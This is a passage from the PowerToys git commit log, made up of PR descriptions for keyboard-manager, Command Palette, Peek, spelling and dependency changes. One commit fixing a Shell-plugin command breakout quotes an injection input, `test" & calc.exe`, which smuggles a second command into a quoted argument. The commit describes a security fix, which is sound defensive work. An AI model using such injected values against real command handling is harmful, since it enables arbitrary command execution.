all boundary tests
- Verified Decimal format expected values match the `%Dv` (BGR order)
implementation: `R + G*256 + B*65536`
- Verified test method names accurately describe their assertions

---------

Co-authored-by: copilot-swe-agent[bot] <198982749+Copilot@users.noreply.github.com>
Co-authored-by: crutkas <1462282+crutkas@users.noreply.github.com>
2026-04-10 09:07:48 +02:00
Dustin L. Howett
3554f0884b spelling: move to v0.0.26 (#46851)
This fixes, among other things, the issue with fork PRs.

---------

Co-authored-by: Josh Soref <2119212+jsoref@users.noreply.github.com>
2026-04-10 06:43:27 +02:00
Jaylyn Barbee
ad60090096 [KBM] Fixes to text replacement issues (#46794)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
This PR attempts to fix some of the issues that were introduced in
0.98.0 with text replacement

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #46498
- [x] Closes: #46440
- [x] Closes: #46366

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
In 0.98.0 I made a change to support multiline text replacement using
Ctrl + V. This was very inconsistent so I have reverted back to
_basically_ the same approach we were using before except now when we
encounter a newline indicator we send "Shift + Enter" so that this works
in chat boxes and plan editors.

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
Manual testing with single line and multiline replacements in Teams,
Terminal, Git bash, Edge, etc
2026-04-09 09:58:10 -05:00
Niels Laute
de6a609d16 [KBM] Manual key selection — code review fixes (#46377)
Addresses code review feedback on the KBM manual key selection feature.
No new user-facing behavior; all changes are correctness, robustness,
and maintainability fixes.

## Summary of the Pull Request

- **Localization:** All hard-coded `RemappingDialog.Title` assignments
replaced with `ResourceHelper.GetString()`; added
`RemappingDialog_TitleEdit` resource key
- **VK_DISABLED centralization:** Replaced scattered `0x100`/`"256"`
literals and local `const string vkDisabledCode` with `private const int
VkDisabled = 0x100` / `private const string VkDisabledString = "256"` on
`MainPage`
- **Disable action validation:** Added
`ValidationHelper.ValidateDisableMapping()` — same trigger-key rules as
other action types (empty keys, modifier-only, illegal shortcuts,
duplicates, conflicting modifier variants); wired into
`ValidateMapping()` switch
- **Binding-safe dropdown revert:** `TriggerKeyDropDown_KeyChanged` /
`ActionKeyDropDown_KeyChanged` no longer set `dropDown.KeyName =
e.OldKeyName` on failure (breaks `{Binding}` expression); now use
`RevertKeySelection(keys, index)` which does
`ObservableCollection.RemoveAt` + `Insert` to force a binding-tracked
refresh without touching the DP directly. `NewKeyCode == 0` ("None") is
rejected via the same path
- **Dropdown validation:** `ValidateDropDownSelection` skips
`string.IsNullOrEmpty` placeholder slots (added by
`HandleAutoGrowShrink`) when checking repeated-modifier and max-size
rules
- **`SetActionType`:** Replaced hard-coded `SelectedIndex` with
tag-matching iteration over `ActionTypeComboBox.Items`; immune to XAML
item reorder
- **`ServiceStatusHelper`:** Dispose all `Process` objects returned by
`GetProcessesByName` before returning; prevents handle accumulation on
the 3-second polling timer
- **`KeyDropDownButton.GetKeyList()`:** Filter out `KeyCode == 0`
entries (native "None" sentinel for shortcut lists) before caching
- **`SettingsManager`:** `_mappingService!` used consistently in
`CreateSettingsFromKeyboardManagerService`
- **`KeyboardHookHelper`:** Constructor catch broadened from
`DllNotFoundException or InvalidOperationException` to `Exception`

## PR Checklist

- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [x] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

## Detailed Description of the Pull Request / Additional comments

The `RevertKeySelection` pattern: in WinUI, assigning directly to a
bound `DependencyProperty` overwrites the binding expression. Using
`ObservableCollection.RemoveAt` + `Insert` instead raises
`CollectionChanged(Replace)`, causing the binding to re-read from the
source without clearing the expression.

```csharp
private static void RevertKeySelection(ObservableCollection<string> keys, int index)
{
    string current = keys[index];
    keys.RemoveAt(index);
    keys.Insert(index, current);
}
```

## Validation Steps Performed

Manually verified: dropdown key selection and revert on invalid
selection, Disable mapping save/load with the new validation, "None"
absent from key picker flyout, `SetActionType` correctly selects items
with preserved XAML order.

---------

Co-authored-by: Zach Teutsch <88554871+zateutsch@users.noreply.github.com>
Co-authored-by: Copilot <175728472+Copilot@users.noreply.github.com>
Co-authored-by: copilot-swe-agent[bot] <198982749+Copilot@users.noreply.github.com>
2026-04-09 10:45:25 -04:00
Rin
243255ecea Fix quote breakout in launcher shell plugin commands (#45554)
## Summary of the Pull Request
Fixes a command breakout vulnerability in the Shell plugin where user
input containing double quotes could be manipulated to execute arbitrary
sub-processes. By escaping double quotes, inputs like `test" & calc.exe`
are treated as literal strings rather than shell command separators.

## PR Checklist
- [ ] Closes: #xxx
- [x] **Communication:** Proactive fix for command execution logic.
- [x] **Tests:** Verified locally.
- [x] **Localization:** N/A
- [x] **Dev docs:** N/A
- [x] **New binaries:** N/A
- [x] **Documentation updated:** N/A

## Detailed Description of the Pull Request / Additional comments
Escaping double quotes in the command string before it is passed to the
shell prevents the breakout vector I identified while still allowing
environment variables to expand as expected. I also removed some
redundant property assignments in the shell helpers to keep the logic
focused on the core fix.

## Validation Steps Performed
Standard diagnostic commands like `ping` and `ipconfig` continue to
function as expected via PowerToys Run. Malicious strings designed to
break out of quotes now fail to execute sub-commands, as confirmed
during local verification.

---------

Co-authored-by: LegendaryBlair <legendaryblair@icloud.com>
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-04-09 16:31:24 +08:00
Michael Jolley
1e1bd07087 Add CmdPalLogger, Provider, and extension method (#46768)
This pull request introduces a new logging infrastructure for the CmdPal
module by integrating the Microsoft.Extensions.Logging (MEL) abstraction
and routing all log output through the existing `ManagedCommon.Logger`.
The changes add a custom logger, logger provider, and extension method
for easy registration, and update dependencies and service configuration
to enable the new logging system.

> This logging is not in use currently, but will be in a future PR.

**Logging Infrastructure Integration:**

* Added a new `CmdPalLogger` class implementing `ILogger`, which
delegates logging calls to `ManagedCommon.Logger` to centralize and
standardize log output.
* Implemented `CmdPalLoggerProvider` to create and manage `CmdPalLogger`
instances, allowing MEL-based logging throughout the application.
* Introduced `CmdPalLoggingExtensions.AddCmdPalLogging` for registering
the logger provider via dependency injection, ensuring all MEL logging
is routed appropriately.
* Updated `App.xaml.cs` to register the new logging system with
`services.AddCmdPalLogging()`, enabling the infrastructure at
application startup.
[[1]](diffhunk://#diff-84386fa8a23e7058525bd269788bbf9e352b1f49d08e5f877059386ba3b83222R8)
[[2]](diffhunk://#diff-84386fa8a23e7058525bd269788bbf9e352b1f49d08e5f877059386ba3b83222R129-R130)

**Project and Dependency Updates:**

* Updated the project file `Microsoft.CmdPal.Common.csproj` to reference
the `ManagedCommon` project and to include a folder for the new logging
code.
[[1]](diffhunk://#diff-affab7e2df96d3b8073ab649e4ef5a34d459cd69e525573fd6426d698efec18fR29)
[[2]](diffhunk://#diff-affab7e2df96d3b8073ab649e4ef5a34d459cd69e525573fd6426d698efec18fR64-R67)
2026-04-04 03:14:08 +02:00
Niels Laute
32b4080007 [CmdPal Extension Template] Adding skills and instructions (#46683)
## Summary of the Pull Request

Adds Copilot instructions and skills to the CmdPal extension template so
that when developers create a new extension via "Create a new
extension", the generated project includes AI-assisted development
guidance out of the box.

I verified the skills on my own extension:

<img
src="https://github.com/user-attachments/assets/24bddefd-f38a-4faa-aaf0-686bcb891241">

## PR Checklist

- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

## Detailed Description of the Pull Request / Additional comments

### Problem
When developers create a new Command Palette extension, the generated
project contains only source code and build configuration — no
AI-assisted development guidance. This means Copilot and other AI tools
have no context about CmdPal extension APIs, patterns, or publishing
workflows.

### Solution
Added **2 instruction files** and **5 skills** (11 markdown files total)
to the extension template at
`src/modules/cmdpal/ExtensionTemplate/TemplateCmdPalExtension/.github/`:

**Instructions:**
| File | Purpose |
|------|---------|
| `copilot-instructions.md` | Top-level project overview: structure,
conventions, build/deploy workflow, skill inventory |
| `instructions/cmdpal-extension.instructions.md` | Comprehensive
353-line API reference covering extension architecture, all page types,
content types, commands/results, items, icons, dynamic updates, and
debugging |

**Skills:**
| Skill | Description | Why |
|-------|-------------|-----|
| `publish-extension` | Microsoft Store (MSIX) + WinGet (EXE) + GitHub
Actions automation | Every extension eventually needs distribution |
| `add-adaptive-card-form` | Adaptive Cards Designer workflow + template
JSON patterns | Forms are the primary way to collect user input |
| `add-extension-settings` | ToggleSetting / TextSetting /
ChoiceSetSetting + persistence | 12 of 20 built-in extensions use
settings |
| `add-dock-band` | Single/multi-button bands, WrappedDockItem,
live-updating | Enables persistent toolbar widgets |
| `add-fallback-commands` | FallbackCommands() + DynamicListPage +
CancellationToken | 14 of 20 built-in extensions use fallback commands |

### Code changes
- **`ExtensionTemplateService.cs`** — Added `.md` to
`_copyAsIsTemplateExtensions` so markdown files are properly handled
during template extraction
- **`template.zip`** — Regenerated to include the new `.github/`
directory (19KB → 44KB)
- **`.github/actions/spell-check/expect.txt`** — Added 17 Inno Setup
constants/flags, placeholder identifiers, and technical tokens from the
new skill files to the spell-check allowlist

### Content sources
- Instructions derived from the **SamplePagesExtension** (all 20+ sample
pages), the **CmdPal extension SDK** (IDL + toolkit base classes), and
**official MS Learn documentation**
- Publishing skill based on the [Publish Command Palette
extensions](https://learn.microsoft.com/windows/powertoys/command-palette/publishing-your-extension)
docs
- Patterns verified against all 20 real CmdPal extensions in the repo

## Validation Steps Performed

1.  All 7 `ExtensionTemplateServiceTests` pass:
   - `CreateExtension_BuildsExtensionFromTemplateArchive`
   - `CopyTemplateFile_RewritesTextFiles`
   - `CopyTemplateFile_CopiesUnchangedTextFilesVerbatim`
   - `CopyTemplateFile_CopiesBinaryFilesWithoutRewritingContents`
   - `TemplateFileHandling_ThrowsForUnknownExtension`
- `TemplateExtensionCategories_AreDisjointAndCoverTemplateZip` —
validates `.md` is in the extension lists
- `TemplateZipFiles_AllUseKnownHandling` — validates all zip entries
have known handling
2.  Verified `template.zip` contains all 31 entries (20 original + 11
new `.md` files)
3.  Verified directory structure is preserved correctly in the zip
4.  Added 17 flagged tokens to `expect.txt` to resolve `check-spelling`
CI failures — all are valid technical terms (Inno Setup constants/flags,
domain names, Windows environment variables, code example placeholders)
that appear inside code blocks in the skill documentation
5.  `check-spelling` CI passes with 0 new misspelled words found on the
latest commit

---------

Co-authored-by: copilot-swe-agent[bot] <198982749+Copilot@users.noreply.github.com>
Co-authored-by: niels9001 <9866362+niels9001@users.noreply.github.com>
2026-04-03 21:47:10 +00:00
Jiří Polášek
47c1fb5418 Spelling: Add names added in #46582 to the spellchecker dictionary (#46765)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

See title

Ref: #46582

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-04-03 21:00:36 +00:00
Copilot
8ee3d64667 CmdPal: Fix inline code text color in Details panel ignoring theme (#46739)
## Summary of the Pull Request

Inline code (backtick-wrapped text) in the Details panel renders white
regardless of theme, making it invisible on light backgrounds. The
`DefaultMarkdownThemeConfig` in CmdPal was missing `InlineCode*` styling
properties, so the toolkit's `MarkdownTextBlock` fell back to
non-theme-aware defaults. The Settings UI already had this configured
correctly.

Fixes: #46734

## PR Checklist

- [x] **Tests:** XAML-only change; no behavioral logic affected
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

## Detailed Description of the Pull Request / Additional comments

Added theme-aware `InlineCode*` properties to
`DefaultMarkdownThemeConfig` in two files, matching the existing pattern
from `Settings.UI/App.xaml`:

- **`ShellPage.xaml`** — Details panel (the reported bug)
- **`ContentPage.xaml`** — Content page markdown (consistency)

Properties added:
```xml
InlineCodeForeground="{StaticResource TextFillColorSecondaryBrush}"
InlineCodeBackground="{StaticResource ControlFillColorDefaultBrush}"
InlineCodeBorderBrush="{StaticResource ControlElevationBorderBrush}"
InlineCodeCornerRadius="2"
InlineCodePadding="2,0,2,1"
```

These `StaticResource` brushes resolve per-theme
(Light/Dark/HighContrast) automatically.

## Validation Steps Performed

- Verified the Settings UI already uses this exact pattern in `App.xaml`
(`DescriptionTextMarkdownThemeConfig`) and renders inline code correctly
across themes.
- Confirmed no other `MarkdownThemes` definitions exist in the CmdPal
module.

---------

Co-authored-by: copilot-swe-agent[bot] <198982749+Copilot@users.noreply.github.com>
Co-authored-by: michaeljolley <1228996+michaeljolley@users.noreply.github.com>
2026-04-03 21:29:32 +02:00
Michael Jolley
51c9bc4930 CmdPal: give each built-in extension its own settings file (#46685)
## Summary of the Pull Request

Each built-in CmdPal extension was reading and writing settings directly
to a shared `settings.json` file, which could be silently overwritten by
the persistence service. This PR gives each extension its own
`{namespace}.settings.json` file and adds transparent migration from the
legacy shared file.

## PR Checklist

- [x] Closes: #46667
- [x] **Communication:** I've discussed this with core contributors
already.
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** N/A — no user-facing strings changed
- [ ] **Dev docs:** N/A — internal implementation detail
- [ ] **New binaries:** N/A — no new binaries

## Detailed Description of the Pull Request / Additional comments

### Core change — `JsonSettingsManager` (extensions SDK)

Added `MigrateFromLegacyFile(string legacyFilePath)` to
`src/modules/cmdpal/extensionsdk/Microsoft.CommandPalette.Extensions.Toolkit/JsonSettingsManager.cs`:

- Skips if the per-extension file already exists (idempotent).
- Reads the legacy shared `settings.json`, extracts only the keys the
current extension owns via `Settings.Update()`, and writes them to the
new per-extension path.
- Logs on failure without throwing.

### Per-extension changes (11 SettingsManager files)

Each built-in extension's `SettingsJsonPath()` now returns
`{namespace}.settings.json` instead of `settings.json`, and a new
`LegacySettingsJsonPath()` helper preserves the old path for migration:

- `Microsoft.CmdPal.Ext.Apps` — `AllAppsSettings.cs`
- `Microsoft.CmdPal.Ext.Calc` — `Helper/SettingsManager.cs`
- `Microsoft.CmdPal.Ext.ClipboardHistory` — `Helpers/SettingsManager.cs`
- `Microsoft.CmdPal.Ext.Registry` — `Helpers/SettingsManager.cs`
- `Microsoft.CmdPal.Ext.RemoteDesktop` — `Settings/SettingsManager.cs`
- `Microsoft.CmdPal.Ext.Shell` — `Settings/SettingsManager.cs`
- `Microsoft.CmdPal.Ext.System` — `Helpers/SettingsManager.cs`
- `Microsoft.CmdPal.Ext.TimeDate` — `Helpers/SettingsManager.cs`
- `Microsoft.CmdPal.Ext.WebSearch` — `Helpers/SettingsManager.cs`
- `Microsoft.CmdPal.Ext.WindowWalker` — `Helpers/SettingsManager.cs`
- `Microsoft.CmdPal.Ext.WindowsTerminal` — `Helpers/SettingsManager.cs`

## Validation Steps Performed

- Built the solution and confirmed all 11 extensions compile cleanly.
- Launched CmdPal with an existing shared `settings.json` containing
settings for multiple extensions. Verified each extension created its
own `{namespace}.settings.json` and loaded the correct values.
- Confirmed subsequent launches skip migration (per-extension file
already exists).
- Verified the persistence service no longer overwrites
extension-specific settings.

---------

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
Co-authored-by: Copilot <175728472+Copilot@users.noreply.github.com>
2026-04-03 19:25:34 +00:00
dependabot[bot]
ddff66c088 Chore(deps): Bump azure/login from 2 to 3 (#46323)
Bumps [azure/login](https://github.com/azure/login) from 2 to 3.
<details>
<summary>Release notes</summary>
<p><em>Sourced from <a
href="https://github.com/azure/login/releases">azure/login's
releases</a>.</em></p>
<blockquote>
<h2>Azure Login Action v3</h2>
<h2>What's Changed</h2>
<ul>
<li>upgrade nodejs from 20 to 24 and update dependencies by <a
href="https://github.com/YanaXu"><code>@​YanaXu</code></a> in <a
href="https://redirect.github.com/Azure/login/pull/578">Azure/login#578</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a
href="https://github.com/Azure/login/compare/v2.3.0...v3">https://github.com/Azure/login/compare/v2.3.0...v3</a></p>
<h2>Azure Login Action v3.0.0</h2>
<h2>What's Changed</h2>
<ul>
<li>Upgrade nodejs from 20 to 24 and update dependencies by <a
href="https://github.com/YanaXu"><code>@​YanaXu</code></a> in <a
href="https://redirect.github.com/Azure/login/pull/578">Azure/login#578</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a
href="https://github.com/Azure/login/compare/v2.3.0...v3.0.0">https://github.com/Azure/login/compare/v2.3.0...v3.0.0</a></p>
<h2>Azure Login Action v2.3.0</h2>
<h2>What's Changed</h2>
<ul>
<li>Replace the invalid link for the GitHub Action Doc by <a
href="https://github.com/MoChilia"><code>@​MoChilia</code></a> in <a
href="https://redirect.github.com/Azure/login/pull/510">Azure/login#510</a></li>
<li>Bump braces from 3.0.2 to 3.0.3 by <a
href="https://github.com/YanaXu"><code>@​YanaXu</code></a> in <a
href="https://redirect.github.com/Azure/login/pull/511">Azure/login#511</a></li>
<li>Mention &quot;allow-no-subscriptions&quot; in missing subscriptionId
error by <a
href="https://github.com/MoChilia"><code>@​MoChilia</code></a> in <a
href="https://redirect.github.com/Azure/login/pull/512">Azure/login#512</a></li>
<li>Log more claims for OIDC login by <a
href="https://github.com/MoChilia"><code>@​MoChilia</code></a> in <a
href="https://redirect.github.com/Azure/login/pull/520">Azure/login#520</a></li>
<li>Use <code>--client-id</code> for user-assigned managed identity
authentication in Azure CLI v2.69.0 or later. by <a
href="https://github.com/MoChilia"><code>@​MoChilia</code></a> in <a
href="https://redirect.github.com/Azure/login/pull/514">Azure/login#514</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a
href="https://github.com/Azure/login/compare/v2.2.0...v2.3.0">https://github.com/Azure/login/compare/v2.2.0...v2.3.0</a></p>
<h2>Azure Login Action v2.2.0</h2>
<h2>What's Changed</h2>
<ul>
<li>Replace <code>az --version</code> with <code>az version</code> by <a
href="https://github.com/MoChilia"><code>@​MoChilia</code></a> in <a
href="https://redirect.github.com/Azure/login/pull/450">Azure/login#450</a></li>
<li>Update documentation for setting audience when environment is set by
<a href="https://github.com/jcantosz"><code>@​jcantosz</code></a> in <a
href="https://redirect.github.com/Azure/login/pull/455">Azure/login#455</a></li>
<li>Fix <a
href="https://redirect.github.com/azure/login/issues/459">#459</a>:
Errors when registering cloud profile for AzureStack by <a
href="https://github.com/MoChilia"><code>@​MoChilia</code></a> in <a
href="https://redirect.github.com/Azure/login/pull/466">Azure/login#466</a></li>
<li>Fix typo by <a
href="https://github.com/KronosTheLate"><code>@​KronosTheLate</code></a>
in <a
href="https://redirect.github.com/Azure/login/pull/483">Azure/login#483</a></li>
<li>move pre cleanup to main and add pre-if and post-if by <a
href="https://github.com/YanaXu"><code>@​YanaXu</code></a> in <a
href="https://redirect.github.com/Azure/login/pull/484">Azure/login#484</a></li>
</ul>
<h2>New Contributors</h2>
<ul>
<li><a href="https://github.com/jcantosz"><code>@​jcantosz</code></a>
made their first contribution in <a
href="https://redirect.github.com/Azure/login/pull/455">Azure/login#455</a></li>
<li><a
href="https://github.com/KronosTheLate"><code>@​KronosTheLate</code></a>
made their first contribution in <a
href="https://redirect.github.com/Azure/login/pull/483">Azure/login#483</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a
href="https://github.com/Azure/login/compare/v2.1.1...v2.2.0">https://github.com/Azure/login/compare/v2.1.1...v2.2.0</a></p>
<h2>v2.1.1</h2>
<h2>What's Changed</h2>
<ul>
<li>Disable information output in Connect-AzAccount by <a
href="https://github.com/YanaXu"><code>@​YanaXu</code></a> in <a
href="https://redirect.github.com/Azure/login/pull/448">Azure/login#448</a></li>
</ul>
<h2>New Contributors</h2>
<ul>
<li><a href="https://github.com/jiasli"><code>@​jiasli</code></a> made
their first contribution in <a
href="https://redirect.github.com/Azure/login/pull/438">Azure/login#438</a></li>
<li><a href="https://github.com/isra-fel"><code>@​isra-fel</code></a>
made their first contribution in <a
href="https://redirect.github.com/Azure/login/pull/446">Azure/login#446</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a
href="https://github.com/Azure/login/compare/v2.1.0...v2.1.1">https://github.com/Azure/login/compare/v2.1.0...v2.1.1</a></p>
<!-- raw HTML omitted -->
</blockquote>
<p>... (truncated)</p>
</details>
<details>
<summary>Commits</summary>
<ul>
<li><a
href="532459ea53"><code>532459e</code></a>
prepare release v3.0.0</li>
<li><a
href="893aa84218"><code>893aa84</code></a>
upgrade Azure Login Action version in README (<a
href="https://redirect.github.com/azure/login/issues/579">#579</a>)</li>
<li><a
href="ce6a9ff965"><code>ce6a9ff</code></a>
upgrade nodejs from 20 to 24 and update dependencies (<a
href="https://redirect.github.com/azure/login/issues/578">#578</a>)</li>
<li>See full diff in <a
href="https://github.com/azure/login/compare/v2...v3">compare
view</a></li>
</ul>
</details>
<br />


[![Dependabot compatibility
score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=azure/login&package-manager=github_actions&previous-version=2&new-version=3)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)

Dependabot will resolve any conflicts with this PR as long as you don't
alter it yourself. You can also trigger a rebase manually by commenting
`@dependabot rebase`.

[//]: # (dependabot-automerge-start)
[//]: # (dependabot-automerge-end)

---

<details>
<summary>Dependabot commands and options</summary>
<br />

You can trigger Dependabot actions by commenting on this PR:
- `@dependabot rebase` will rebase this PR
- `@dependabot recreate` will recreate this PR, overwriting any edits
that have been made to it
- `@dependabot show <dependency name> ignore conditions` will show all
of the ignore conditions of the specified dependency
- `@dependabot ignore this major version` will close this PR and stop
Dependabot creating any more for this major version (unless you reopen
the PR or upgrade to it yourself)
- `@dependabot ignore this minor version` will close this PR and stop
Dependabot creating any more for this minor version (unless you reopen
the PR or upgrade to it yourself)
- `@dependabot ignore this dependency` will close this PR and stop
Dependabot creating any more for this dependency (unless you reopen the
PR or upgrade to it yourself)


</details>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2026-04-03 10:11:05 +00:00
moooyo
e28ed8a566 Revert "Pin check-spelling action to v0.0.26 (a35147f)" (#46749)
Reverts microsoft/PowerToys#46746

ok, gordon said this change is unrelated to the pipeline,  revert it.
2026-04-03 09:20:33 +00:00
moooyo
4f693778f2 Pin check-spelling action to v0.0.26 (a35147f) (#46746)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
discussed here:
https://github.com/check-spelling/check-spelling/issues/103

Merge it first to test if we can fix this issue.

It blocked our PR pipeline which created from the forked repo.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed

Co-authored-by: Yu Leng (from Dev Box) <yuleng@microsoft.com>
Co-authored-by: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-04-03 07:42:38 +00:00
oxygen dioxide
e1ad13ab34 Peek: Auto detect file name encoding when previewing zip file (#44799)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
Auto detect file name encoding when previewing zip file

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #44790
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [x] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
The encoding of file names in zip files defaults to the native encoding
of the creator's OS. For example, a zip file created on a zh-CN Windows
PC uses GBK. However, currently peek always uses UTF-8 when opening zip
file, resulting in garbled text.
Here I added an auto-detection mechanism in peek to support different
zip filename encodings.

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed

1. Turn on peek
2. Download this file:
[chinese-example.zip](https://github.com/user-attachments/files/24155422/chinese-example.zip)
3. Select this file and press Ctrl+Space

Previous behaviour (incorrect):

<img width="1964" height="1326" alt="Image"
src="https://github.com/user-attachments/assets/2d331647-5761-4331-97ba-4c4c01132afb"
/>

Current behaviour (correct):

<img width="2026" height="1269" alt="图片"
src="https://github.com/user-attachments/assets/db456426-f7f6-467c-8f3c-1e01cba44fec"
/>
2026-04-03 14:52:16 +08:00
adelobosko
cea0497bb9 Refactor PadImage to use out param and improve disposal (#44906)
